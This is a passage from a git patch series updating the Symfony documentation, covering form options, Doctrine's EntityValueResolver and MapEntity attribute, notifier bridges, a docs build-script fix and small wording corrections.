+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index a29ef50930d..b00aa6af6d9 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -98,6 +98,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 4ee77116489..dae2d26cb87 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -75,6 +75,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/options/placeholder_attr.rst.inc b/reference/forms/types/options/placeholder_attr.rst.inc
new file mode 100644
index 00000000000..49b656cc6df
--- /dev/null
+++ b/reference/forms/types/options/placeholder_attr.rst.inc
@@ -0,0 +1,21 @@
+``placeholder_attr``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+Use this to add additional HTML attributes to the placeholder choice::
+
+    use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
+    // ...
+
+    $builder->add('fruits', ChoiceType::class, [
+        // ...
+        'placeholder' => '...',
+        'placeholder_attr' => [
+            ['title' => 'Choose an option'],
+        ],
+    ]);
+
+.. versionadded:: 6.3
+
+    The ``placeholder_attr`` option was introduced in Symfony 6.3.
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 6dc0d793b3b..270d44bf281 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -92,6 +92,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc

From 92ac566ac04ffe8192878f8f4827060152e91ce5 Mon Sep 17 00:00:00 2001
From: Jordane Vaspard <jordane.vaspard@laposte.net>
Date: Sat, 26 Nov 2022 18:47:32 +0100
Subject: [PATCH 2549/5766] Fix assets path in all directories no matter the
 deep. Add fix for js' assets. Add fix for fontawesome' assets.

---
 _build/build.php | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/_build/build.php b/_build/build.php
index 66470a0df59..989eaea7cbe 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -47,9 +47,18 @@
 
         if ($result->isSuccessful()) {
             // fix assets URLs to make them absolute (otherwise, they don't work in subdirectories)
-            foreach (glob($outputDir.'/**/*.html') as $htmlFilePath) {
+            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($outputDir));
+
+            foreach (new RegexIterator($iterator, '/^.+\.html$/i', RegexIterator::GET_MATCH) as $match) {
+                $htmlFilePath = array_shift($match);
+                $htmlContents = file_get_contents($htmlFilePath);
+                file_put_contents($htmlFilePath, str_replace('<head>', '<head><base href="/">', $htmlContents));
+            }
+
+            foreach (new RegexIterator($iterator, '/^.+\.css/i', RegexIterator::GET_MATCH) as $match) {
+                $htmlFilePath = array_shift($match);
                 $htmlContents = file_get_contents($htmlFilePath);
-                file_put_contents($htmlFilePath, str_replace('href="assets/', 'href="/assets/', $htmlContents));
+                file_put_contents($htmlFilePath, str_replace('fonts/', '../fonts/', $htmlContents));
             }
 
             $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));

From e97a574f9cd49e9f62f43522f62eeb9358fb72cb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 27 Nov 2022 17:41:23 +0100
Subject: [PATCH 2550/5766] Add documentation about doctrine's AsEventListener

---
 .doctor-rst.yaml    |  1 +
 doctrine/events.rst | 23 +++++++++++++++++++++++
 2 files changed, 24 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7323d53d1dd..fac523a64da 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -80,6 +80,7 @@ whitelist:
         - 'The bin/console Command'
         - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
+        - '.. versionadded:: 2.7.2' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9a2756a4e61..1b9f2d305a4 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -149,6 +149,23 @@ with the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 
+    .. code-block:: attribute
+
+        // src/App/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEventListener;
+        use Doctrine\ORM\Event\LifecycleEventArgs;
+
+        #[AsEventListener('postPersist'/*, 500, 'default'*/)]
+        class SearchIndexer
+        {
+            public function postPersist(LifecycleEventArgs $event): void
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -219,6 +236,12 @@ with the ``doctrine.event_listener`` tag:
             ;
         };
 
+
+.. versionadded:: 2.7.2
+
+    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsEventListener` 
+    attribute was introduced in DoctrineBundle 2.7.2.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine listeners only when the related

From 36d91fe8b734bc391733696f026e3249b5330b8c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 23 Oct 2022 17:17:26 +0200
Subject: [PATCH 2551/5766] Add documentation about the Doctrine Entity Value
 Resolver

---
 .doctor-rst.yaml   |   1 +
 best_practices.rst |  13 ++-
 doctrine.rst       | 266 +++++++++++++++++++++++++++++++++++++++++++--
 3 files changed, 265 insertions(+), 15 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7323d53d1dd..5606ed239a1 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,6 +88,7 @@ whitelist:
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
+        - '.. versionadded:: 2.7.1' # Doctrine
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
diff --git a/best_practices.rst b/best_practices.rst
index bc2269b4236..efe15c1c6fa 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -246,16 +246,17 @@ Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
 
-Use ParamConverters If They Are Convenient
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use EntityValueResolver If It Is Convenient
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use the
-`ParamConverter`_ to automatically query for an entity and pass it as an argument
-to your controller. It will also show a 404 page if no entity can be found.
+`EntityValueResolver`_ to automatically query for an entity and pass it as an
+argument to your controller. It will also show a 404 page if no entity can be
+found.
 
 If the logic to get an entity from a route variable is more complex, instead of
-configuring the ParamConverter, it's better to make the Doctrine query inside
-the controller (e.g. by calling to a :doc:`Doctrine repository method </doctrine>`).
+configuring the EntityValueResolver, it's better to make the Doctrine query
+inside the controller (e.g. by calling to a :doc:`Doctrine repository method </doctrine>`).
 
 Templates
 ---------
diff --git a/doctrine.rst b/doctrine.rst
index 632641d1f11..6ad5c6d665d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -598,15 +598,59 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
-Automatically Fetching Objects (ParamConverter)
------------------------------------------------
+Automatically Fetching Objects (EntityValueResolver)
+----------------------------------------------------
 
-In many cases, you can use the `SensioFrameworkExtraBundle`_ to do the query
-for you automatically! First, install the bundle in case you don't have it:
+In many cases, you can use the `EntityValueResolver`_ to do the query for you
+automatically! First, enable the feature:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/doctrine.yaml
+        doctrine:
+            orm:
+                controller_resolver:
+                    enabled: true
+                    auto_mapping: true
+                    evict_cache: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/doctrine.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
 
-    $ composer require sensio/framework-extra-bundle
+            <doctrine:config>
+                <!-- by convention the env var names are always uppercase -->
+                <doctrine:orm>
+                    <doctrine:controller_resolver auto_mapping="true" evict_cache="false"/>
+                </doctrine:orm>
+            </doctrine:config>
+
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $controllerResolver = $doctrine->orm()
+                ->entityManager('default')
+                    // ...
+                    ->controllerResolver();
+
+            $controllerResolver->autoMapping(true);
+            $controllerResolver->evictCache(true);
+        };
 
 Now, simplify your controller::
 
@@ -621,7 +665,7 @@ Now, simplify your controller::
 
     class ProductController extends AbstractController
     {
-        #[Route('/product/{id}', name: 'product_show')]
+        #[Route('/product/{id}')]
         public function show(Product $product): Response
         {
             // use the Product!
@@ -632,7 +676,212 @@ Now, simplify your controller::
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
-There are many more options you can use. Read more about the `ParamConverter`_.
+This behavior can be enabled on all your controllers, by setting the ``auto_mapping``
+parameter to ``true``. Or individually on the desired controllers by using the
+``MapEntity`` attribute:
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Bridge\Doctrine\Attribute\MapEntity;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+    // ...
+
+    class ProductController extends AbstractController
+    {
+        #[Route('/product/{id}')]
+        public function show(
+            #[MapEntity]
+            Product $product
+        ): Response {
+            // use the Product!
+            // ...
+        }
+    }
+
+Fetch Automatically
+~~~~~~~~~~~~~~~~~~~
+
+If your route wildcards match properties on your entity, then the resolver
+will automatically fetch them:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        /**
+         * Fetch via primary key because {id} is in the route.
+         */
+        #[Route('/product/{id}')]
+        public function showByPk(Post $post): Response
+        {
+        }
+
+        /**
+         * Perform a findOneBy() where the slug property matches {slug}.
+         */
+        #[Route('/product/{slug}')]
+        public function showBySlug(Post $post): Response
+        {
+        }
+
+Automatic fetching works in these situations:
+
+* If ``{id}`` is in your route, then this is used to fetch by
+  primary key via the ``find()`` method.
+
+* The resolver will attempt to do a ``findOneBy()`` fetch by using
+  *all* of the wildcards in your route that are actually properties
+  on your entity (non-properties are ignored).
+
+You can control this behavior by actually *adding* the ``MapEntity``
+attribute and using the `MapEntity options`_.
+
+Fetch via an Expression
+~~~~~~~~~~~~~~~~~~~~~~~
+
+If automatic fetching doesn't work, use an expression:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        use Sensio\Bundle\FrameworkExtraBundle\Configuration\Entity;
+
+        #[Route('/product/{product_id}')]
+        public function show(
+            #[MapEntity(expr: 'repository.find(product_id)')]
+            Product $product
+        ): Response {
+        }
+
+Use the special ``MapEntity`` attribute with an ``expr`` option to
+fetch the object by calling a method on your repository. The
+``repository`` method will be your entity's Repository class and
+any route wildcards - like ``{product_id}`` are available as variables.
+
+This can also be used to help resolve multiple arguments:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        #[Route('/product/{id}/comments/{comment_id}')]
+        public function show(
+            Product $product
+            #[MapEntity(expr: 'repository.find(comment_id)')]
+            Comment $comment
+        ): Response {
+        }
+
+In the example above, the ``$product`` argument is handled automatically, 
+but ``$comment`` is configured with the attribute since they cannot both follow
+the default convention.
+
+.. _`MapEntity options`:
+
+
+MapEntity Options
+~~~~~~~~~~~~~~~~~
+
+A number of ``options`` are available on the ``MapEntity`` annotation to 
+control behavior:
+
+* ``id``: If an ``id`` option is configured and matches a route parameter, then
+  the resolver will find by the primary key:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+  
+          #[Route('/product/{product_id}')]
+          public function show(
+            Product $product
+            #[MapEntity(id: 'product_id')]
+            Comment $comment
+          ): Response {
+          }
+
+* ``mapping``: Configures the properties and values to use with the ``findOneBy()``
+  method: the key is the route placeholder name and the value is the Doctrine 
+  property name:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+
+          #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
+          public function show(
+            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+            Product $product
+            #[MapEntity(mapping: ['comment_slug' => 'slug'])]
+            Comment $comment
+          ): Response {
+          }
+
+* ``exclude`` Configures the properties that should be used in the ``findOneBy()``
+  method by *excluding* one or more properties so that not *all* are used:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+
+          #[Route('/product/{slug}/{date}')]
+          public function show(
+            #[MapEntity(exclude: ['date'])]
+            Product $product
+            \DateTime $date
+          ): Response {
+          }
+
+* ``stripNull`` If true, then when ``findOneBy()`` is used, any values that 
+  are ``null`` will not be used for the query.
+
+* ``entityManager`` By default, the ``EntityValueResolver`` uses the *default*
+  entity manager, but you can configure this:
+
+  .. configuration-block::
+
+      .. code-block:: php-attributes
+
+          #[Route('/product/{id}')]
+          public function show(
+            #[MapEntity(entityManager: ['foo'])]
+            Product $product
+          ): Response {
+          }
+
+* ``evictCache`` If true, forces Doctrine to always fetch the entity from the 
+  database instead of cache.
+
+* ``disabled`` If true, the ``EntityValueResolver`` will not try to replace 
+  the argument.
+
+.. tip::
+
+    When enabled globally, it's possible to disabled the behavior on a specific
+    controller, by using the ``MapEntity`` set to ``disabled``.
+
+        public function show(
+            #[CurrentUser]
+            #[MapEntity(disabled: true)]
+            User $user
+        ): Response {
+            // User is not resolved by the EntityValueResolver
+            // ...
+        }
+
+.. versionadded:: 6.2
+
+    Entity Value Resolver was introduced in Symfony 6.2.
+
+.. versionadded:: 2.7.1
+
+    Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle
+    2.7.1.
 
 Updating an Object
 ------------------
@@ -896,7 +1145,6 @@ Learn more
 .. _`DoctrineMigrationsBundle`: https://github.com/doctrine/DoctrineMigrationsBundle
 .. _`NativeQuery`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/native-sql.html
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
-.. _`ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-limits.html
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/

From 80095c666c972512dbb92dde3822945d02c4c735 Mon Sep 17 00:00:00 2001
From: Marco Woehr <necrobutcher.htp@gmail.com>
Date: Mon, 28 Nov 2022 09:45:59 +0100
Subject: [PATCH 2552/5766] Update property_info.rst

Ref https://github.com/symfony/symfony-docs/pull/17459.
---
 components/property_info.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 276479d1e09..f9b693336a8 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -323,13 +323,13 @@ this returns ``true`` if:
   ``@var SomeClass<DateTime>``, ``@var SomeClass<integer,string>``,
   ``@var Doctrine\Common\Collections\Collection<App\Entity\SomeEntity>``, etc.)
 
-``Type::getCollectionKeyType()`` & ``Type::getCollectionValueType()``
+``Type::getCollectionKeyTypes()`` & ``Type::getCollectionValueTypes()``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If the property is a collection, additional type objects may be returned
 for both the key and value types of the collection (if the information is
-available), via the :method:`Type::getCollectionKeyType() <Symfony\\Component\\PropertyInfo\\Type::getCollectionKeyType>`
-and :method:`Type::getCollectionValueType() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueType>`
+available), via the :method:`Type::getCollectionKeyTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionKeyTypes>`
+and :method:`Type::getCollectionValueTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueTypes>`
 methods.
 
 .. _`components-property-info-extractors`:

From 65f10aca221561e6d6baff6f17af802e0403f862 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 28 Nov 2022 11:47:00 +0100
Subject: [PATCH 2553/5766] Fix build

---
 security/access_token.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index e29267585c6..724979764a8 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -343,6 +343,6 @@ and configure the service ID as the ``success_handler``:
     ``failure_handler`` option and create a class that implements
     :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
-.. _`Json Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
+.. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From 1d78eb95e06c777e3498664704bc24953bba353e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Nov 2022 11:58:56 +0100
Subject: [PATCH 2554/5766] Mark some Symfony CLI feature as experimental

---
 setup/symfony_server.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 8cc8d4dfd75..e065ba81b3b 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -280,6 +280,11 @@ server provides a ``run`` command to wrap them as follows:
 Configuring Workers
 -------------------
 
+.. caution::
+
+    This feature is experimental and could change or be removed at any time
+    without prior notice.
+
 If you like some processes to start automatically, along with the webserver
 (``symfony server:start``), add a configuration file to your project:
 

From 858cabccea0982ca9443f5176c73a1ac055f0300 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 28 Nov 2022 18:45:08 +0100
Subject: [PATCH 2555/5766] [Validator] Remove annotation

---
 validation/custom_constraint.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c061c23f682..4887a126c02 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -31,14 +31,14 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
             public string $mode = 'strict';
         }
 
-Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
-use it as an annotation/attribute in other classes.
+Add ``#[\Attribute]`` to the constraint class if you want to
+use it as an attribute in other classes.
 
 .. versionadded:: 6.1
 
     The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
 
-You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required::
+You can use ``#[HasNamedArguments]`` to make some constraint options required::
 
     // src/Validator/ContainsAlphanumeric.php
     namespace App\Validator;

From db15323a403d28f46533540b4b02de9501c71988 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 17 Nov 2022 23:30:03 +0100
Subject: [PATCH 2556/5766] [Validator] Add pattern in Regex constraint
 violations

---
 reference/constraints/Regex.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 6f94c5c151e..7ae66428670 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -258,12 +258,17 @@ This is the message that will be shown if this validator fails.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+=================  ==============================================================
+Parameter          Description
+=================  ==============================================================
+``{{ value }}``    The current (invalid) value
+``{{ label }}``    Corresponding form field label
+``{{ pattern }}``  The expected matching pattern
+=================  ==============================================================
+
+.. versionadded:: 6.3
+
+   The ``{{ pattern }}`` parameter was introduced in 6.3.
 
 ``pattern``
 ~~~~~~~~~~~

From 50bfc316f12a60957824d29ca14caf2cc576864c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Manuel=20Kie=C3=9Fling?= <manuel@kiessling.net>
Date: Tue, 29 Nov 2022 09:47:25 +0100
Subject: [PATCH 2557/5766] Remove paragraph on legacy_error_messages config

As the `legacy_error_messages` config node is deprecated since 6.2 (see https://github.com/symfony/symfony/pull/47598), it should probably not be mentioned in the docs any longer.
---
 forms.rst | 42 ------------------------------------------
 1 file changed, 42 deletions(-)

diff --git a/forms.rst b/forms.rst
index 1ba3410e29e..01c3b03445c 100644
--- a/forms.rst
+++ b/forms.rst
@@ -559,48 +559,6 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
-Form Validation Messages
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-The form types have default error messages that are more clear and
-user-friendly than the ones provided by the validation constraints. To enable
-these new messages set the ``legacy_error_messages`` option to ``false``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            form:
-                legacy_error_messages: false
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:form legacy-error-messages="false"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->form()->legacyErrorMessages(false);
-        };
-
 Other Common Form Features
 --------------------------
 

From ae927c982631c0446b5a9bd520fd7ccedc24fc18 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Tue, 29 Nov 2022 10:05:27 +0100
Subject: [PATCH 2558/5766] feat(symfony-cli): add "symfony proxy:url" command
 usage

---
 setup/symfony_server.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 8b692364caa..1f0742c03b5 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -237,7 +237,14 @@ domains work:
 
 .. code-block:: terminal
 
-    $ https_proxy=http://127.0.0.1:7080 curl https://my-domain.wip
+    # Example with curl
+    $ https_proxy=$(symfony proxy:url) curl https://my-domain.wip
+
+    # Example with Blackfire and curl
+    $ https_proxy=$(symfony proxy:url) blackfire curl https://my-domain.wip
+
+    # Example with Cypress
+    $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
 .. note::
 

From 81ae7bc5e446a165e2ceb1ae8c321ae53bdac18b Mon Sep 17 00:00:00 2001
From: renepupil <117264860+renepupil@users.noreply.github.com>
Date: Tue, 29 Nov 2022 10:20:54 +0100
Subject: [PATCH 2559/5766] Clarify how `CollectionType` entries are indexed

Clarifying the indexing for `CollectionType`entries prevents further confusion about how to entries can be identified in the front end as well as when viewing the request data.
---
 reference/forms/types/collection.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c5572f93c6b..ab537de89ab 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,6 +11,8 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
+When rendered, existing collection entries are indexed by the keys of the array that is passed as the collection type field data.
+
 +---------------------------+--------------------------------------------------------------------------+
 | Rendered as               | depends on the `entry_type`_ option                                      |
 +---------------------------+--------------------------------------------------------------------------+

From 26b4ef1ba6f25b2e19aca3b6eec9a23591ec6fc6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 28 Nov 2022 22:25:39 +0100
Subject: [PATCH 2560/5766] Replace an URL by a URL

---
 components/dom_crawler.rst            | 2 +-
 reference/configuration/framework.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index e39a04224e5..14dee197db6 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -647,7 +647,7 @@ Resolving a URI
 
     The :class:`Symfony\\Component\\DomCrawler\\UriResolver` helper class was added in Symfony 5.1.
 
-The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes an URI
+The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes a URI
 (relative, absolute, fragment, etc.) and turns it into an absolute URI against
 another given base URI::
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 06df82f51ef..fcbf68d1609 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2359,7 +2359,7 @@ package:
 
 .. note::
 
-    If an URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
+    If a URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
 
 .. _reference-assets-strict-mode:
 

From 4866b8f210360a364e7db292d12228c9e63c1379 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 15:50:26 -0400
Subject: [PATCH 2561/5766] [Notifier] Add Termii bridge

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index cdb1881890f..cd64493cfd9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -93,6 +93,7 @@ Smsc             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@
 SMSFactor        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 SpotHit          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Telnyx           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+Termii           ``symfony/termii-notifier``            ``termii://API_KEY@default?from=FROM&channel=CHANNEL``
 TurboSms         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``
 Vonage           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
@@ -109,6 +110,10 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
     The ContactEveryone and SMSFactor integrations were introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The Termii integration was introduced in Symfony 6.3.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From ae02dda8ee2031f11bab512d5831120c9e42b7fb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 30 Nov 2022 17:32:09 +0100
Subject: [PATCH 2562/5766] Example using `hash_property_path` with
 `RepeatedType`

---
 reference/forms/types/password.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 9f6010675f0..446363f1a7c 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
